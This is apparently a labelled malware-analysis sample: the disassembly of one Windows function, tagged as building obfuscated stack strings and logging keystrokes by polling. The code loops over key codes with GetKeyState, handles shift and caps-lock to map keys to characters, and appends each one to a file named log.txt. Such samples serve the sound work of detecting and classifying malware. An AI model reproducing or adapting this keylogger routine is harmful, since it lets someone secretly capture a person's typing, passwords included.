Function at 0x4014f0
Capabilities:
Contain obfuscated stackstrings
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
mov dword [ebp - 0x42f], 0x23402129
mov dword [ebp - 0x42b], 0x265e2524
mov dword [ebp - 0x428], 0x282a26
mov dword [ebp - 0x437], 0x2d2c3d3b
mov dword [ebp - 0x433], 0x602f2e
mov dword [ebp - 0x43f], 0x5f3c2b3a
mov dword [ebp - 0x43b], 0x7e3f3e
mov dword [ebp - 0x445], 0x275d5c5b
mov word [ebp - 0x441], 0x3b
mov dword [ebp - 0x44a], 0x227d7c7b
mov byte [ebp - 0x446], 0
mov dword [ebp - 0x452], 0x2e676f6c
mov dword [ebp - 0x44e], 0x747874
mov dword [ebp - 0xc], 0
jmp 0x401592
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x424], 0
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0xfe
jle 0x401580
mov dword [esp], 0xa
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp], 0x14
mov eax, dword [sym.imp.USER32.dll_GetKeyState]
call eax
sub esp, 4
cwde
movzx eax, al
test eax, eax
setg al
movzx eax, al
mov dword [ebp - 0x14], eax
mov dword [esp], 0x90
mov eax, dword [sym.imp.USER32.dll_GetKeyState]
call eax
sub esp, 4
cwde
movzx eax, al
test eax, eax
setg al
movzx eax, al
mov dword [ebp - 0x18], eax
mov dword [esp], 0xa0
mov eax, dword [sym.imp.USER32.dll_GetKeyState]
call eax
sub esp, 4
cwde
and eax, 0xff00
test eax, eax
setg al
movzx eax, al
mov dword [ebp - 0x1c], eax
mov dword [esp], 0xa1
mov eax, dword [sym.imp.USER32.dll_GetKeyState]
call eax
sub esp, 4
cwde
and eax, 0xff00
test eax, eax
setg al
movzx eax, al
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xc], 0
jmp 0x401840
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetKeyState]
call eax
sub esp, 4
cwde
and eax, 0xff00
test eax, eax
setg al
movzx eax, al
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xc]
mov byte [ebp - 0xd], al
cmp dword [ebp - 0x24], 1
jne 0x40182f
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x424]
test eax, eax
jne 0x40182f
cmp dword [ebp - 0xc], 0x40
jle 0x4016d1
cmp dword [ebp - 0xc], 0x5a
jg 0x4016d1
cmp dword [ebp - 0x14], 0
jne 0x4016b3
cmp dword [ebp - 0x1c], 0
jne 0x4017ee
cmp dword [ebp - 0x20], 0
jne 0x4017ee
mov eax, dword [ebp - 0xc]
add eax, 0x20
mov byte [ebp - 0xd], al
jmp 0x4017ee
cmp dword [ebp - 0x1c], 1
je 0x4016c3
cmp dword [ebp - 0x20], 1
jne 0x4017ee
mov eax, dword [ebp - 0xc]
add eax, 0x20
mov byte [ebp - 0xd], al
jmp 0x4017ee
cmp dword [ebp - 0xc], 0x2f
jle 0x401703
cmp dword [ebp - 0xc], 0x39
jg 0x401703
cmp dword [ebp - 0x1c], 1
je 0x4016ed
cmp dword [ebp - 0x20], 1
jne 0x4017f1
mov eax, dword [ebp - 0xc]
sub eax, 0x30
movzx eax, byte [ebp + eax - 0x42f]
mov byte [ebp - 0xd], al
jmp 0x4017f1
cmp dword [ebp - 0xc], 0x5f
jle 0x401723
cmp dword [ebp - 0xc], 0x69
jg 0x401723
cmp dword [ebp - 0x18], 1
jne 0x401723
mov eax, dword [ebp - 0xc]
sub eax, 0x30
mov byte [ebp - 0xd], al
jmp 0x4017f2
cmp dword [ebp - 0xc], 0xb9
jle 0x401771
cmp dword [ebp - 0xc], 0xc0
jg 0x401771
cmp dword [ebp - 0x1c], 1
je 0x401741
cmp dword [ebp - 0x20], 1
jne 0x401759
mov eax, dword [ebp - 0xc]
sub eax, 0xba
movzx eax, byte [ebp + eax - 0x43f]
mov byte [ebp - 0xd], al
jmp 0x4017f2
mov eax, dword [ebp - 0xc]
sub eax, 0xba
movzx eax, byte [ebp + eax - 0x437]
mov byte [ebp - 0xd], al
jmp 0x4017f2
cmp dword [ebp - 0xc], 0xda
jle 0x4017b9
cmp dword [ebp - 0xc], 0xdf
jg 0x4017b9
cmp dword [ebp - 0x1c], 1
je 0x40178f
cmp dword [ebp - 0x20], 1
jne 0x4017a4
mov eax, dword [ebp - 0xc]
sub eax, 0xdb
movzx eax, byte [ebp + eax - 0x44a]
mov byte [ebp - 0xd], al
jmp 0x4017f2
mov eax, dword [ebp - 0xc]
sub eax, 0xdb
movzx eax, byte [ebp + eax - 0x445]
mov byte [ebp - 0xd], al
jmp 0x4017f2
cmp dword [ebp - 0xc], 0xd
jne 0x4017c5
mov byte [ebp - 0xd], 0xa
jmp 0x4017f2
cmp dword [ebp - 0xc], 0x69
jle 0x4017dc
cmp dword [ebp - 0xc], 0x6f
jg 0x4017dc
mov eax, dword [ebp - 0xc]
sub eax, 0x40
mov byte [ebp - 0xd], al
jmp 0x4017f2
cmp dword [ebp - 0xc], 0x20
je 0x4017f2
cmp dword [ebp - 0xc], 9
je 0x4017f2
mov byte [ebp - 0xd], 0
jmp 0x4017f2
nop
jmp 0x4017f2
nop
cmp byte [ebp - 0xd], 0
je 0x40182f
mov dword [esp + 4], 0x405044
lea eax, [ebp - 0x452]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x28], eax
movsx eax, byte [ebp - 0xd]
mov edx, dword [ebp - 0x28]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._putc
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x424], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0xfe
jle 0x40163c
jmp 0x40159b